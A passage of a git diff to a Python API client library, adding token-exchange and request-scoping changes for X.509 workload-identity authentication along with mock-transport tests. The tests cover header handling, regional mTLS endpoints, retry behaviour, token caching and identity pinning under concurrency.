self._usable_token_after_transient_failure() + if token is None: + if isinstance(error, _TransientTokenExchangeError): + raise error.error from None + raise + return token + finally: + _EXCHANGE_REQUEST_TIMEOUT.reset(timeout_token) @override def _fetch_token_from_exchange(self) -> dict[str, Any]: @@ -461,7 +849,7 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]: else: delay = _retry_delay(response, attempt) if attempt >= self._max_exchange_retries or delay is None: - return self._handle_token_response(response) + return self._handle_exchange_response(response) if delay is not None: time.sleep(delay) @@ -470,6 +858,8 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]: class AsyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth): + _http_client: httpx2.AsyncClient + def __init__( self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.AsyncClient, max_retries: int ) -> None: @@ -486,12 +876,28 @@ async def send_api_request( stream: bool, **kwargs: Any, ) -> httpx2.Response: - async with _scoped_async_client( - self._http_client, - expected_origin=expected_origin, - expected_authorization=expected_authorization, - ) as scoped_client: - return await scoped_client.send(request, stream=stream, **kwargs) + if self._http_client.is_closed: + raise RuntimeError("Cannot send a request, as the client has been closed.") + with _client_transport_scope(self._http_client, is_async=True).activate( + request, expected_origin, expected_authorization + ): + kwargs.setdefault("auth", None) + return await self._http_client.send(request, stream=stream, **kwargs) + + async def get_token_for_request(self, request: httpx2.Request) -> str: + timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout")) + try: + try: + return await self.get_token_async() + except (APIConnectionError, _TransientTokenExchangeError) as error: + token = self._usable_token_after_transient_failure() + if token is None: + if isinstance(error, _TransientTokenExchangeError): + raise error.error from None + raise + return token + finally: + _EXCHANGE_REQUEST_TIMEOUT.reset(timeout_token) @override async def get_token_async(self) -> str: @@ -525,9 +931,28 @@ async def _fetch_token_from_exchange_async(self) -> dict[str, Any]: else: delay = _retry_delay(response, attempt) if attempt >= self._max_exchange_retries or delay is None: - return self._handle_token_response(response) + return self._handle_exchange_response(response) if delay is not None: await anyio.sleep(delay) raise AssertionError("X.509 token exchange retry loop exhausted unexpectedly") + + +def can_share_x509_auth( + current: object, + replacement: object, + *, + current_origin: httpx2.URL, + replacement_origin: httpx2.URL, +) -> bool: + auth_types = (SyncX509WorkloadIdentityAuth, AsyncX509WorkloadIdentityAuth) + if not isinstance(current, auth_types) or not isinstance(replacement, auth_types): + return False + return ( + type(current) is type(replacement) + and current.workload_identity == replacement.workload_identity + and current._http_client is replacement._http_client + and current_origin == replacement_origin + and current._max_exchange_retries == replacement._max_exchange_retries + ) diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py new file mode 100644 index 0000000000..c842c4ea7b --- /dev/null +++ b/tests/test_x509_workload_identity_hardening.py @@ -0,0 +1,747 @@ +from __future__ import annotations + +import io +import json +import time +import asyncio +import threading +from typing import Any, cast +from contextvars import Context +from typing_extensions import override +from concurrent.futures import ThreadPoolExecutor + +import httpx2 +import pytest + +import openai.auth._x509 as x509_auth +from openai import OpenAI, OAuthError, AsyncOpenAI, OpenAIError, APIConnectionError +from openai.auth import X509WorkloadIdentity, x509_workload_identity +from openai.providers import bedrock + +_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" +_API_URL = "https://mtls.api.openai.com/v1/models" +_REGIONAL_MTLS_URLS = { + "global": "https://mtls.api.openai.com/v1/", + "us": "https://mtls-us.api.openai.com/v1/", + "eu": "https://mtls-eu.api.openai.com/v1/", +} + + +def _identity() -> X509WorkloadIdentity: + return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") + + +def _response(request: httpx2.Request, *, token: str = "access-token") -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + +def test_sync_x509_ignores_ambient_authorization_without_changing_explicit_overrides( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret\nX-Custom: retained") + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + assert requests[-1].headers["X-Custom"] == "retained" + + +@pytest.mark.parametrize("header_name", ["Authorization", "aUtHoRiZaTiOn"]) +def test_sync_switch_to_x509_discards_inherited_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, header_name: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{header_name}: Bearer ambient-secret") + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + + +@pytest.mark.parametrize("header_name", ["Authorization", "aUtHoRiZaTiOn"]) +async def test_async_switch_to_x509_discards_inherited_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, header_name: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{header_name}: Bearer ambient-secret") + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + await original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + + +def test_sync_switch_to_x509_discards_every_mixed_case_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv( + "OPENAI_CUSTOM_HEADERS", "Authorization: Bearer first-ambient\nAUTHORIZATION: Bearer second-ambient" + ) + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +async def test_async_switch_to_x509_discards_every_mixed_case_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv( + "OPENAI_CUSTOM_HEADERS", "Authorization: Bearer first-ambient\nAUTHORIZATION: Bearer second-ambient" + ) + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + await original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_x509_mode_switch_preserves_explicit_authorization_override( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key") + copied = original.with_options( + workload_identity=_identity(), default_headers={"Authorization": "Bearer intentional-override"} + ) + assert copied.default_headers["Authorization"] == "Bearer intentional-override" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("header_name", ["Authorization", "authorization", "AUTHORIZATION"]) +def test_x509_mode_switch_preserves_inherited_explicit_authorization_override( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch, header_name: str +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key", default_headers={header_name: "Bearer intentional-override"}) + copied = original.with_options(workload_identity=_identity()) + assert httpx2.Headers(copied._custom_headers).get_list("authorization") == ["Bearer intentional-override"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("header_option", ["default_headers", "set_default_headers"]) +def test_x509_mode_switch_preserves_explicit_override_matching_ambient_authorization( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch, header_option: str +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key") + headers = {"Authorization": "Bearer ambient-secret"} + explicitly_overridden = ( + original.with_options(default_headers=headers) + if header_option == "default_headers" + else original.with_options(set_default_headers=headers) + ) + + copied = explicitly_overridden.with_options(workload_identity=_identity()) + + assert httpx2.Headers(copied._custom_headers).get_list("authorization") == ["Bearer ambient-secret"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_x509_mode_switch_discards_ambient_authorization_after_intermediate_copy( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key") + copied = original.with_options(timeout=2).with_options(workload_identity=_identity()) + assert not any(name.lower() == "authorization" for name in copied._custom_headers) + + +async def test_async_x509_ignores_ambient_authorization_without_changing_explicit_overrides( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "aUtHoRiZaTiOn: Bearer ambient-secret\nX-Custom: retained") + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + assert requests[-1].headers["X-Custom"] == "retained" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize(("region", "expected_url"), _REGIONAL_MTLS_URLS.items()) +def test_x509_data_residency_uses_confirmed_regional_mtls_endpoints( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, expected_url: str +) -> None: + client = client_type(workload_identity=_identity(), data_residency=cast(Any, region)) + assert str(client.base_url) == expected_url + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize(("region", "expected_url"), _REGIONAL_MTLS_URLS.items()) +def test_x509_copy_uses_confirmed_regional_mtls_endpoints( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, expected_url: str +) -> None: + client = client_type(workload_identity=_identity()) + copied = client.with_options(data_residency=cast(Any, region)) + assert str(copied.base_url) == expected_url + assert str(client.base_url) == _REGIONAL_MTLS_URLS["global"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_switching_from_provider_to_regional_x509_uses_the_mtls_endpoint( + client_type: type[OpenAI] | type[AsyncOpenAI], +) -> None: + client = client_type(provider=bedrock(region="us-east-1", api_key="bedrock-token")) + copied = client.with_options(provider=None, workload_identity=_identity(), data_residency="eu") + assert str(copied.base_url) == _REGIONAL_MTLS_URLS["eu"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("region", ["global", "us", "eu"]) +def test_switching_regional_api_key_client_to_x509_preserves_residency( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str +) -> None: + original = client_type(api_key="original-api-key", data_residency=cast(Any, region)) + copied = original.with_options(workload_identity=_identity()) + assert str(copied.base_url) == _REGIONAL_MTLS_URLS[region] + assert str(copied.with_options(timeout=1).base_url) == _REGIONAL_MTLS_URLS[region] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("region", ["global", "us", "eu"]) +def test_switching_regional_x509_client_to_api_key_preserves_residency( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str +) -> None: + original = client_type(workload_identity=_identity(), data_residency=cast(Any, region)) + copied = original.with_options(api_key="replacement-api-key") + expected_host = "api.openai.com" if region == "global" else f"{region}.api.openai.com" + assert str(copied.base_url) == f"https://{expected_host}/v1/" + assert str(copied.with_options(timeout=1).base_url) == f"https://{expected_host}/v1/" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_authentication_switch_preserves_explicit_custom_origin( + client_type: type[OpenAI] | type[AsyncOpenAI], +) -> None: + original = client_type(api_key="original-api-key", base_url="https://private.example/v1") + copied = original.with_options(workload_identity=_identity()) + assert str(copied.base_url) == "https://private.example/v1/" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_x509_rejects_data_residency_without_a_confirmed_mtls_endpoint( + client_type: type[OpenAI] | type[AsyncOpenAI], +) -> None: + with pytest.raises(OpenAIError, match="mTLS endpoint"): + client_type(workload_identity=_identity(), data_residency="ae") + + client = client_type(workload_identity=_identity()) + with pytest.raises(OpenAIError, match="mTLS endpoint"): + client.with_options(data_residency="ae") + + +@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}]) +def test_sync_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return httpx2.Response(503, request=request, headers=headers) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=2 + ) as client: + with pytest.raises(OpenAIError, match="503"): + client.models.list() + + assert len(requests) == 1 + + +@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}]) +async def test_async_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return httpx2.Response(503, request=request, headers=headers) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=2, + ) as client: + with pytest.raises(OpenAIError, match="503"): + await client.models.list() + + assert len(requests) == 1 + + +def test_sync_x509_honors_millisecond_retry_delay(monkeypatch: pytest.MonkeyPatch) -> None: + delays: list[float] = [] + attempts = 0 + monkeypatch.setattr(x509_auth.time, "sleep", delays.append) + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(429, request=request, headers={"retry-after-ms": "250"}) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)) + ) as client: + assert client.models.list().object == "list" + + assert delays == [0.25] + + +async def test_async_x509_honors_millisecond_retry_delay(monkeypatch: pytest.MonkeyPatch) -> None: + delays: list[float] = [] + attempts = 0 + + async def record_sleep(delay: float) -> None: + delays.append(delay) + + monkeypatch.setattr(x509_auth.anyio, "sleep", record_sleep) + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(429, request=request, headers={"retry-after-ms": "250"}) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)) + ) as client: + assert (await client.models.list()).object == "list" + + assert delays == [0.25] + + +@pytest.mark.parametrize("status_code", [418, 425]) +def test_sync_x509_honors_explicit_server_retry_requests(monkeypatch: pytest.MonkeyPatch, status_code: int) -> None: + def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.time, "sleep", no_sleep) + attempts = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(status_code, request=request, headers={"x-should-retry": "true"}) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)) + ) as client: + assert client.models.list().object == "list" + + assert attempts == 2 + + +@pytest.mark.parametrize("status_code", [418, 425]) +async def test_async_x509_honors_explicit_server_retry_requests( + monkeypatch: pytest.MonkeyPatch, status_code: int +) -> None: + async def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.anyio, "sleep", no_sleep) + attempts = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(status_code, request=request, headers={"x-should-retry": "true"}) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)) + ) as client: + assert (await client.models.list()).object == "list" + + assert attempts == 2 + + +def test_sync_x509_copies_share_tokens_only_for_the_same_identity_transport_and_origin() -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + client.models.list() + client.with_options(timeout=1).models.list() + client.with_options(timeout=2).models.list() + changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example") + client.with_options(workload_identity=changed_identity).models.list() + + exchanges = [request for request in requests if str(request.url) == _TOKEN_URL] + assert len(exchanges) == 2 + + +async def test_async_x509_copies_share_tokens_only_for_the_same_identity_transport_and_origin() -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + await client.models.list() + await client.with_options(timeout=1).models.list() + await client.with_options(timeout=2).models.list() + changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example") + await client.with_options(workload_identity=changed_identity).models.list() + + exchanges = [request for request in requests if str(request.url) == _TOKEN_URL] + assert len(exchanges) == 2 + + +def test_sync_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails() -> None: + requests: list[httpx2.Request] = [] + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + requests.append(request) + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert client.models.list().object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(APIConnectionError): + client.models.list() + + +async def test_async_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails() -> None: + requests: list[httpx2.Request] = [] + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + requests.append(request) + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert (await client.models.list()).object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(APIConnectionError): + await client.models.list() + + +@pytest.mark.parametrize("status_code", [429, 500, 503]) +def test_sync_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status(status_code: int) -> None: + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + return httpx2.Response(status_code, request=request) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert client.models.list().object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(OpenAIError, match=str(status_code)): + client.models.list() + + +@pytest.mark.parametrize("status_code", [429, 500, 503]) +async def test_async_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status(status_code: int) -> None: + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + return httpx2.Response(status_code, request=request) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert (await client.models.list()).object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(OpenAIError, match=str(status_code)): + await client.models.list() + + +@pytest.mark.parametrize("status_code", [400, 401, 403]) +def test_sync_x509_never_falls_back_after_permanent_oauth_rejection(status_code: int) -> None: + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + return httpx2.Response(status_code, request=request, json={"error": "invalid_grant"}) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + with pytest.raises(OAuthError): + client.models.list() + + +@pytest.mark.parametrize("status_code", [400, 401, 403]) +async def test_async_x509_never_falls_back_after_permanent_oauth_rejection(status_code: int) -> None: + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + return httpx2.Response(status_code, request=request, json={"error": "invalid_grant"}) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + with pytest.raises(OAuthError): + await client.models.list() + + +@pytest.mark.parametrize("timeout", [0.125, 2.5]) +def test_sync_x509_token_exchange_uses_configured_timeout(timeout: float) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(workload_identity=_identity(), http_client=http_client, timeout=timeout, max_retries=0) as client: + client.models.list() + + assert requests[0].extensions["timeout"]["connect"] == timeout + assert requests[0].extensions["timeout"]["read"] == timeout + + +@pytest.mark.parametrize("timeout", [0.125, 2.5]) +async def test_async_x509_token_exchange_uses_configured_timeout(timeout: float) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI( + workload_identity=_identity(), http_client=http_client, timeout=timeout, max_retries=0 + ) as client: + await client.models.list() + + assert requests[0].extensions["timeout"]["connect"] == timeout + assert requests[0].extensions["timeout"]["read"] == timeout + + +class _UnreadableSeekability(io.BytesIO): + @override + def seekable(self) -> bool: + raise io.UnsupportedOperation("seekability metadata unavailable") + + +def test_sync_x509_still_sends_uploads_when_seekability_inspection_fails() -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return _response(request) + return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"}) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + result = client.files.create(file=("payload.txt", _UnreadableSeekability(b"payload")), purpose="assistants") + + assert result.id == "file_123" + assert len(requests) == 2 + + +async def test_async_x509_still_sends_uploads_when_seekability_inspection_fails() -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return _response(request) + return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"}) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + result = await client.files.create( + file=("payload.txt", _UnreadableSeekability(b"payload")), purpose="assistants" + ) + + assert result.id == "file_123" + assert len(requests) == 2 + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("field", ["identity_provider_id", "service_account_id"]) +@pytest.mark.parametrize("invalid", [True, 42, {"nested": "value"}, ["value"]]) +def test_x509_rejects_non_string_identity_identifiers( + client_type: type[OpenAI] | type[AsyncOpenAI], field: str, invalid: object +) -> None: + identity = cast(X509WorkloadIdentity, {**_identity(), field: invalid}) + with pytest.raises(OpenAIError, match="identity-provider and service-account IDs"): + client_type(workload_identity=identity) + + +@pytest.mark.parametrize("replace_authorization", [False, True]) +def test_sync_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity( + replace_authorization: bool, +) -> None: + arrived = threading.Barrier(2) + + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + return _response(request, token=f"token-{identity.rsplit('-', 1)[-1]}") + return _response(request) + + def replace(request: httpx2.Request) -> None: + if replace_authorization and request.headers.get("Authorization") == "Bearer token-two": + request.headers["Authorization"] = "Bearer token-one" + + class CrossThreadClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + arrived.wait(timeout=5) + copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + with ThreadPoolExecutor(max_workers=1) as executor: + return executor.submit(super().send, copied, **kwargs).result() + + transport = CrossThreadClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [replace]}) + clients = [ + OpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + requests = [executor.submit(client.models.list) for client in clients] + assert requests[0].result(timeout=5).object == "list" + if replace_authorization: + with pytest.raises(OpenAIError, match="authorization cannot be changed"): + requests[1].result(timeout=5) + else: + assert requests[1].result(timeout=5).object == "list" + + +@pytest.mark.parametrize("replace_authorization", [False, True]) +async def test_async_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity( + replace_authorization: bool, +) -> None: + arrived = 0 + both_arrived = asyncio.Event() + + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + return _response(request, token=f"token-{identity.rsplit('-', 1)[-1]}") + return _response(request) + + async def replace(request: httpx2.Request) -> None: + if replace_authorization and request.headers.get("Authorization") == "Bearer token-two": + request.headers["Authorization"] = "Bearer token-one" + + class CrossContextClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal arrived + arrived += 1 + if arrived == 2: + both_arrived.set() + await asyncio.wait_for(both_arrived.wait(), timeout=5) + copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + return await Context().run(asyncio.create_task, super().send(copied, **kwargs)) + + transport = CrossContextClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [replace]}) + clients = [ + AsyncOpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + responses = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) + first = responses[0] + assert not isinstance(first, BaseException) + assert first.object == "list" + if replace_authorization: + assert isinstance(responses[1], OpenAIError) + assert "authorization cannot be changed" in str(responses[1]) + else: + second = responses[1] + assert not isinstance(second, BaseException) + assert second.object == "list" + + +def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return _response(request) diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py new file mode 100644 index 0000000000..ca1269765d --- /dev/null +++ b/tests/test_x509_workload_identity_transport.py @@ -0,0 +1,999 @@ +from __future__ import annotations + +import asyncio +import threading +from typing import Any +from contextvars import Context +from typing_extensions import override +from concurrent.futures import ThreadPoolExecutor + +import httpx2 +import pytest + +from openai import OpenAI, AsyncOpenAI, OpenAIError +from openai.auth import X509WorkloadIdentity, x509_workload_identity + +_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" +_API_URL = "https://mtls.api.openai.com/v1/models" + + +def _identity() -> X509WorkloadIdentity: + return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") + + +def _response(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": "access-token", "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + +def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return _response(request) + + +@pytest.mark.parametrize("extension", ["sni_hostname", "target"]) +def 